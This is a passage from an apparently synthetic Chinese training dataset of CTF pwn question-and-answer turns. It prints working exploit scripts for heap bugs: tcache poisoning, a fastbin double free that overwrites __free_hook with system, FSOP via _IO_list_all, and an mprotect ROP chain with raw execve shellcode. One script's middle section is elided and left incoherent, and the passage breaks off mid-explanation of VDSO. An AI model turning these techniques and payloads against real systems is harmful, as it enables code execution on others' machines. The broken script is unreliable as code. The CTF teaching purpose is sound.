  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

// glibc-2.34
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache_key;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache dup/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache dup/patch.sh`

分类：heap

语言：bash

利用主题关键词：
- heap/tcache

训练用代码片段：
```bash
#!/bin/bash

VERSION=2.27
LIBC_NAME=libc.so.6
LD_NAME=ld-linux-x86-64.so.2

gcc pwn.c -o pwn -g
cp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .
cp /glibc/${VERSION}/amd64/lib/${LD_NAME} .

chmod 777 ${LIBC_NAME}
chmod 777 ${LD_NAME}

patchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn
patchelf --set-interpreter ./${LD_NAME} ./pwn
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目信息」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 题目信息

附件：

- `my_heap`
- `libc.so.6`
- `ld-linux-x86-64.so.2`
- `exp.py`

保护：

```text
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
RUNPATH:    ./
```

题目使用随题 libc，`libc.so.6` 中关键符号：

```text
system  = 0x50d70
environ = 0x222200
```

不过最终 exp 并没有用 `one_gadget`，而是劫持返回地址到程序自带的 `system("/bin/sh")`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「6. malloc 到 environ，泄露 stack」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 6. malloc 到 environ，泄露 stack

因为前面已经把 `0x20` bin 的 `fd` 改到 `libc.environ`，且 counts 被修正，所以连续申请：

```python
add(1, 0x10)
add(1, 0x10)
show()
```

第二次申请会返回到 `environ` 附近，`show` 还原后拿到栈地址：

```python
stack = 0
for i in range(6):
    val = u8(r(1))
    stack += (val ^ (0x99+i)) * 0x100**i

stack = stack - 0x80 - 8 - 0xa0
```

这里的减法是根据本地调试计算出的目标返回地址位置，用于后面把返回地址改成 `win+8`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「保护信息」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 保护信息

```text
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
```

题目自带 `ld.so` 和 `libc.so.6`，二进制解释器也是 `./ld.so`。libc 中 `_IO_file_jumps` 符号偏移为：

```text
_IO_file_jumps = libc + 0x1f4560
```

该符号位于 `__libc_IO_vtables` 段，段属性为 `WA`，所以本题可以通过任意地址分配写它：

```text
[32] __libc_IO_vtables PROGBITS 00000000001f3960 ... WA
```

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `cmd`
- `dbg`
- `dele`
- `show`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x690`, `0x1ecb80`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('vuln')
libc = ELF('./libc-2.31.so')
io = process(['./ld-2.31.so',elf.path], env = {'LD_PRELOAD' : libc.path})
context(os=elf.os, arch=elf.arch, log_level='debug')

def cmd(i):
    sla('>', i)

def add(idx,size, con):
    cmd('1')
    sla(': ', str(idx))
    sla(': ', str(size))
    sa('Content: ', con)

def show(idx):
    cmd('3')
    sla(': ', str(idx))

def dele(idx):
    cmd('2')
    sla(': ', str(idx))

#通过填满tcache泄露libc
for i in range(9):
    add(i,0x80,b'1')
for i in range(8):
    dele(i)
show(7)#在tcache被填满后chunk被释放到了unsortedbin中，这样就可以泄露libc

libc_base = l64() - 0x1ecb80 - 96
lg('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
#dbg()

#泄露堆地址
add(0,0x20,b'aaaaaaaa')
add(1,0x20,b'aaaaaaaa')
dele(0)
dele(1)
show(1)

#dbg()

heap_base = uu64()-0x690
lg('heap_base', heap_base)

for i in range(2,11):
    add(i,0x20,b'a' * 0x10)
for i in range(2,11):
    dele(i)
dele(9)

for i in range(7):
 add(0,0x20,b'a')

add(1,0x20,p64(free_hook))
add(2,0x20,p64(system))
add(2,0x20,p64(system))
add(2,0x20,p64(system))

#申请一个chunk包含/bin/sh字符串，然后让free释放掉这个chunk之后就可以getshell
add(3,0x40,b'/bin/sh\x00')
dele(3)
#dbg()
ia()
```

Heap/fastbin attack/fastbin-double_free/[HGAME 2023 week2]new_fast_note/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

ret2reg，即返回到寄存器地址进行攻击，可以绕过地址混淆（ASLR）。

一般用于开启`ASLR`的 ret2shellcode 题型，在函数执行后，传入的参数在栈中传给某寄存器，然而该函数在结束前并未将该寄存器复位，就导致这个寄存器仍还保存着参数，当这个参数是 shellcode 时，只要程序中存在`jmp/call reg`代码片段时，即可通过 gadget 跳转至该寄存器执行 shellcode。

该攻击方法之所以能成功，是因为函数内部实现时，溢出的缓冲区地址通常会加载到某个寄存器上，在后来的运行过程中不会修改。

> 只要在函数`ret`之前将相关寄存器复位掉，便可以避免此漏洞。

**利用思路**：主要在于找到寄存器与缓冲区地址的确定性关系，然后从程序中搜索`call reg/jmp reg`这样的指令

1. 分析和调试程序，查看溢出函数返回时哪个寄存器指向输入缓冲区
2. 查找`call reg`或`jmp reg`，将指令所在的地址填充到`EIP`位置，即返回地址
3. 在`reg`指向的空间上注入 shellcode


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「稳定版 exp 示例」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 稳定版 exp 示例

下面是去掉 `dbg()` 且泄漏读取更明确的版本：

```python
#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="amd64", log_level="info")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
io = process([elf.path])

menu = b"Choice: "

def add():
    io.sendlineafter(menu, b"1")

def dele(idx):
    io.sendlineafter(menu, b"2")
    io.sendlineafter(b"Idx:", str(idx).encode())

def show(idx):
    io.sendlineafter(menu, b"3")
    io.sendlineafter(b"Idx:", str(idx).encode())

def edit(idx, size, data):
    io.sendlineafter(menu, b"4")
    io.sendlineafter(b"Idx:", str(idx).encode())
    io.sendlineafter(b"Size:", str(size).encode())
    io.sendafter(b"Content:", data)

def leak_after_show():
    io.recvline()          # prompt: puts("Idx: ") leaves a newline
    return io.recvline().strip()


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2shellcode/mprotect_bypass_NX/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2shellcode/mprotect_bypass_NX/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1000`, `0x0804951d`, `0x080Ec000`

训练用代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()

pwnfile="./get_started_3dsctf_2016"
io=gift["io"]
elf=gift["elf"]
context.arch="i386"
mprotect_addr=elf.sym.mprotect
read=elf.sym.read

mem_addr=0x080Ec000
mem_size=0x1000
mem_proc=0x7
pop_addr=0x0804951d

payload=b"A"*0x38+p32(mprotect_addr)
payload+=p32(pop_addr)
payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)

payload+=p32(read)
payload+=p32(pop_addr)
payload+=p32(0)+p32(mem_addr)+p32(0x100)
payload+=p32(mem_addr)

sl(payload)

#pay=(shellcraft.sh())
pay="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
sl(pay)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「总结」。
资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 总结

本题漏洞点很小，但全局变量布局非常适合 House of Apple2：

1. `show/delete/edit` 均允许负索引；
2. `book[-6].ptr` 正好落到 `stdout` copy relocation；
3. `edit` 虽然只有一次，但可以写 `0x400` 字节到 `_IO_2_1_stdout_`；
4. 通过 unsorted bin 泄漏 libc 后伪造 stdout FILE；
5. 菜单再次输出时触发 FSOP 调用 `system("  sh;")`，拿到 shell。

IO-FILE/house of apple2/2024pcb babyheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/2024ylb-ezheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/2024ylb-ezheap/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`
- `import os`

函数/封装：
- `add`
- `delete`
- `edit`
- `show`
- `start`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x100`, `0x500`, `0x510`, `0x1EC280`, `0x1ecbe0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *
import os

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
context(os=elf.os, arch=elf.arch, log_level='info')

ld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'

def start():
    if args.REMOTE:
        host = args.HOST or 'TARGET_IP'
        port = int(args.PORT or 9999)
        return remote(host, port)
    # Do not use env={"LD_PRELOAD": ...}: system('/bin/sh') would inherit it,
    # and the spawned host shell can fail with the old challenge libc.
    # ld.so --preload affects only this exec, so the final shell is clean.
    if os.path.exists(ld_path):
        return process([ld_path, '--preload', './libc-2.31.so', elf.path])
    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})

io = start()

menu = b'Input your choice'

def add(size, content):
    io.sendlineafter(menu, b'1')
    io.sendlineafter(b'Size :', str(size).encode())
    io.sendafter(b'Content :', content)

def delete(idx):
    io.sendlineafter(menu, b'2')
    io.sendlineafter(b'Index :', str(idx).encode())

def edit(content):
    io.sendlineafter(menu, b'3')
    io.sendafter(b'content :', content)

def show(idx):
    io.sendlineafter(menu, b'4')
    io.sendlineafter(b'Index :', str(idx).encode())

# Layout chunks. add() always uses the monotonically increasing chunk_index,
# so reallocating a freed chunk can leave old heap metadata after a short read.
add(0x500, b'a')              # 0
add(0x500, b'/bin/sh\x00')    # 1, argument for system()
add(0x500, b'a')              # 2, freed for unsorted-bin leak
add(0x500, b'a')              # 3
add(0x100, b'a')              # 4, guard/top separation

# Leak libc from the reused unsorted-bin chunk.
delete(2)
add(0x500, b'a' * 8)          # 5 overlaps stale ptr[2]
show(5)
io.recvuntil(b'a' * 8)
leak = u64(io.recvn(6).ljust(8, b'\x00'))
libc_base = leak - 0x1ecbe0   # unsorted-bin fd = main_arena+0x60 for ./libc-2.31.so
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
mp_ = libc_base + 0x1EC280 + 0x50

log.success(f'leak      = {hex(leak)}')
log.success(f'libc_base = {hex(libc_base)}')
log.success(f'__free_hook = {hex(free_hook)}')
log.success(f'system    = {hex(system)}')

# After enlarging mp_.tcache_bins, size 0x510 can use an out-of-bounds
# tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.
edit(p64(mp_))
delete(3)
delete(0)
add(0x500, p64(0) * 13 + p64(free_hook))
add(0x500, p64(system))

# free('/bin/sh') -> system('/bin/sh')
delete(1)
io.sendline(b'cat flag 2>/dev/null || cat /flag 2>/dev/null || true')
io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「利用思路」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 利用思路

最终目标是利用 glibc 2.35 的 FSOP，在 `exit()` 时劫持 `_IO_list_all` 链表，让 `_IO_flush_all_lockp` 处理伪造的 `FILE` 结构，间接调用：

```c
system("/bin/sh")
```

exp 中使用的关键偏移：

```python
LIBC_LEAK_OFFSET = 0x21AD30
IO_OBSTACK_JUMPS = 0x2173C0
```

并从 libc 中解析：

```python
io_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
```

本题利用路径：

```text
泄露 libc + heap
    ↓
计算 _IO_list_all、system、/bin/sh、heap_base
    ↓
任意 free 一个可控 victim chunk
    ↓
伪造 0x100 tcache fd，目标指向 _IO_list_all + 0x70
    ↓
通过 malloc 取到 _IO_list_all 附近的 chunk
    ↓
写入 fake FILE 指针
    ↓
选择 Exit，触发 FSOP，调用 system('/bin/sh')
```

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `edit`
- `free`
- `show`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0xfffffffff000`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./journey_story')
io = process([elf.path])
libc = ELF('./libc-2.31.so')
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size, content):
    sla(b"option: ", b"1")
    sla(b"0xb0): ", str(hex(size)).encode())
    sla(b"racters): ", content)

def free(idx):
    sla(b"option: ", b"2")
    sla(b": ", str(idx))

def show(idx):
    sla(b"option: ", b"4")
    sla(b": ", str(idx))

def edit(idx, content):
    sla(b"option: ", b"3")
    sla(b": ", str(idx))
    sl(content)

for i in range(7):
    add(0xb0, b'aaaa')

for i in range(7):
    free(i)

for i in range(6):
    add(0x28, b'aaaa')

edit(0, b'b' * 0x28 + b'\xc1')
free(1)
add(0x28, b'\x00')
show(2)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

sl(b"10")
for i in range(3):
    add(0x28, b'cccc')
free(2)
free(3)
show(7)

ru(b"Story 7 (size 0x28): ")
heap_base = u64(r(8)) & 0xfffffffff000

edit(7, p64(free_hook) + b'\x0a')
add(0x28, b'/bin/sh\x00')
add(0x28, p64(libc_base + libc.sym["system"]))
free(2)

ia()
```

Heap/tcache attack/tcache poisoning/qwqss journey_story/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `IO-FILE/2025hgame hit list/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`IO-FILE/2025hgame hit list/exp.py`

分类：io_file

语言：python

环境/依赖线索：
- `import os`
- `import sys`
- `from pwn import *`

函数/封装：
- `_loader_argv`
- `add`
- `delete`
- `edit`
- `menu`
- `show`
- `start`

利用主题关键词：
- heap/tcache
- io-file/fsop
- seccomp/orw
- safe-linking

关键常量/偏移样例：
`0x100`, `0x130`, `0x3F0`, `0x1000`, `0x1190`, `0x2173C0`, `0x21AD30`, `0xfffffff7`

训练用代码片段：
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
2025 HGame - Hit list exploit

Usage:
  python3 exp.py                 # local with bundled libc/known loader if present
  python3 exp.py TEST            # local smoke test: trigger shell and run `id`
  python3 exp.py GDB             # debug with gdb
  python3 exp.py REMOTE HOST=x PORT=y
  python3 exp.py LOADER=/path/to/ld-linux-x86-64.so.2
"""

import os
import sys
from pwn import *

BIN_PATH = './vuln'
LIBC_PATH = './libc.so.6'
KNOWN_LOADER = '/tools/binary/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/ld-linux-x86-64.so.2'

context.binary = exe = ELF(BIN_PATH)
libc = ELF(LIBC_PATH)
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug' if args.DEBUG else 'info'

# glibc 2.35-0ubuntu3.8 offsets used by the original chain.
LIBC_LEAK_OFFSET = 0x21AD30
IO_OBSTACK_JUMPS = 0x2173C0

def _loader_argv():
    """Run vuln with the matching provided libc when possible."""
    loader = args.LOADER or os.environ.get('LOADER')
    if not loader and os.path.exists(KNOWN_LOADER):
        loader = KNOWN_LOADER

    if loader:
        libdir = os.path.dirname(os.path.abspath(LIBC_PATH)) or '.'
        return [loader, '--library-path', libdir, BIN_PATH]

    # Fallback: useful on a remote-like machine that already has a compatible loader.
    return [BIN_PATH]

def start():
    if args.REMOTE:
        host = args.HOST or os.environ.get('HOST', 'TARGET_IP')
        port = int(args.PORT or os.environ.get('PORT', '9999'))
        return remote(host, port)

    argv = _loader_argv()
    if args.GDB:
        gdbscript = """
set pagination off
break *main
continue
"""
        return gdb.debug(argv, gdbscript=gdbscript)

    if len(argv) == 1:
        return process(argv, env={'LD_PRELOAD': os.path.abspath(LIBC_PATH)})
    return process(argv)

io = start()

def menu(choice: int):
    io.sendlineafter(b'>', str(choice).encode())

def add(identity: int, name: bytes, size: int, content: bytes = b''):
    """Add a note. identity is user-controlled; real list index is auto-assigned."""
    menu(1)
    io.sendlineafter(b'>', str(identity).encode())
    io.sendlineafter(b'>', name)
    io.sendlineafter(b'>', str(size).encode())
    io.sendafter(b'>', content)

def delete(index: int):
    menu(2)
    io.sendlineafter(b'>', str(index).encode())

def edit(index: int, identity: int, name: bytes, size: int, content: bytes = b''):
    menu(3)
    io.sendlineafter(b'>', str(index).encode())

# ... 中间内容省略，保留关键利用片段 ...

def show(index: int) -> bytes:
    delete(idx)
libc_line = show(3)
heap_line = show(4)
io_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
# Target fake FILE area in heap and poison a 0x100 tcache entry to _IO_list_all+0x70.
log.info(f'_IO_list_all = {io_list_all:#x}')
log.info(f'system       = {system_addr:#x}')
# 2. Drain current list, prepare 0x100 tcache, then abuse the negative-size malloc-fail path.
    delete(0)
    delete(0)
delete(1)
delete(0)
# size=-9 is read by scanf("%u") as 0xfffffff7; signed check passes, malloc(-1) fails,
# then the hidden gift() function does free(user_pointer).  This gives one arbitrary free.
# Corrupt the freed chunk fd to point into _IO_list_all using safe-linking encoding.
# Fake _IO_FILE / obstack layout.  On exit(), _IO_flush_all_lockp reaches obstack finish,
# which calls system("/bin/sh") through the crafted fields.
        0x30: system_addr,
# Put the fake FILE pointer into _IO_list_all chain.
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「poison environ, leak pie」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# poison environ, leak pie
add(1,0x3d0)
dele()
add(1,0x10)
dele()
edit(p64(libc.sym["environ"] ^ (heap_addr >> 12)))
add(1,0x20)
dele()
add(1,0x30)
dele()
add(1,0x60)
dele()
door = backdoor("\x00"*0x10)
pie = door - 0x12be


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「leak libc」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# leak libc
add(1,0x440)
add(0,0x500)
dele()
show()
ru("the data")
r(1)
for i in range(6):
    val = u8(r(1))
    libc.address += (val ^ (0x99+i)) * 0x100**i
libc.address -= 0x21ace0


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

传统的`int 0x80`有点慢，所以 Intel 和 AMD 分别实现了`sysenter/sysexit`和`syscall/ sysret`，即所谓的快速系统调用指令，使用它们更快，但是也带来了兼容性的问题。于是 Linux 实现了`vsyscall`，程序统一调用`vsyscall`, 具体的选择由内核来决定。而`vsyscall`的实现就在 VDSO(Virtual Dynamically-linked Shared Object) 中。可以把 VDSO看成一个`.so`动态库链接文件，不同的内核，VDSO 的内容也是不同的，VDSO 将内核态的调用映射到用户态的地址空间中，可以大量减少这样的开销，同时也可以使路径更好。VDSO 中存在 `syscall ; ret` 。相比于栈和其他的`ASLR`，VDSO 的随机化非常的弱，对于 32 位的系统来说，有`1/256`的概率命中，这正好可以作为我们的利用点。可以通过`find / -name '*vdso*.so*'`命令来寻找`VDSO`。

接下来以 intel 为例讲解 VDSO 的利用过程：

+ `sysenter` 指令可用于 Ring3 的用户代码调用 Ring0 的系统内核代码，而 `sysexit` 指令则用于 Ring0 的系统代码返回用户空间中。
+ 执行 `sysenter` 指令的系统必须满足两个条件：
  - 目标 Ring0 代码段必须是平坦模式（Flat Mode）的 4GB 的可读可执行的非一致代码段。
  - 目标 Ring0 堆栈段必须是平坦模式（Flat Mode）的 4GB 的可读可写向上扩展的栈段。
+ `sysenter`指令并不一定成对，`sysenter`指令并不会把`sysexit`所需的返回地址压栈，`sysexit`返回的地址并不一定是`sysenter`指令的下一个指令地址。调用`sysenter/sysexit`指令地址的跳转是通过设置一组特殊寄存器实现的。这些寄存器包括：
  - SYSENTER_CS_MSR － 用于指定要执行的 Ring 0 代码的代码段选择符，由它还能得出目标 Ring 0 所用堆栈段的段选择符；
  - SYSENTER_EIP_MSR － 用于指定要执行的 Ring 0 代码的起始地址；
  - SYSENTER_ESP_MSR－用于指定要执行的 Ring 0 代码所使用的栈指针；
+ 这些寄存器可以通过 wrmsr 指令来设置，执行 wrmsr 指令时，通过寄存器 edx、eax 指定设置的值，edx 指定值的高 32 位，eax 指定值的低 32 位，在设置上述寄存器时，edx 都是 0，通过寄存器 ecx 指定填充的 MSR 寄存器，sysenter_CS_MSR、sysenter_ESP_MSR、sysenter_EIP_MSR 寄存器分别对应 0x174、0x175、0x176，需要注意的是，wrmsr 指令只能在 Ring 0 执行。
+ 这里还要介绍一个特性，就是 Ring0、Ring3 的代码段描述符和堆栈段描述符在全局描述符表 GDT 中是顺序排列的，这样只需知道 SYSENTER_CS_MSR 中指定的 Ring0 的代码段描述符，就可以推算出 Ring0 的堆栈段描述符以及 Ring3 的代码段描述符和堆栈段描述符。
+ 在 Ring3 的代码调用了`sysenter`指令之后，CPU 会做出如下的操作：

1. 将 SYSENTER_CS_MSR 的值装载到 cs 寄存器
2. 将 SYSENTER_EIP_MSR 的值装载到 eip 寄存器
3. 将 SYSENTER_CS_MSR 的值加 8（Ring0 的堆栈段描述符）装载到 ss 寄存器。
4. 将 SYSENTER_ESP_MSR 的值装载到 esp 寄存器
5. 将特权级切换到 Ring0
6. 如果 EFLAGS 寄存器的 VM 标志被置位，则清除该标志
7. 开始执行指定的 Ring0 代码

+ 在 Ring0 代码执行完毕，调用 SYSEXIT 指令退回 Ring3 时，CPU 会做出如下操作：

1. 将 SYSENTER_CS_MSR 的值加 16（Ring3 的代码段描述符）装载到 cs 寄存器
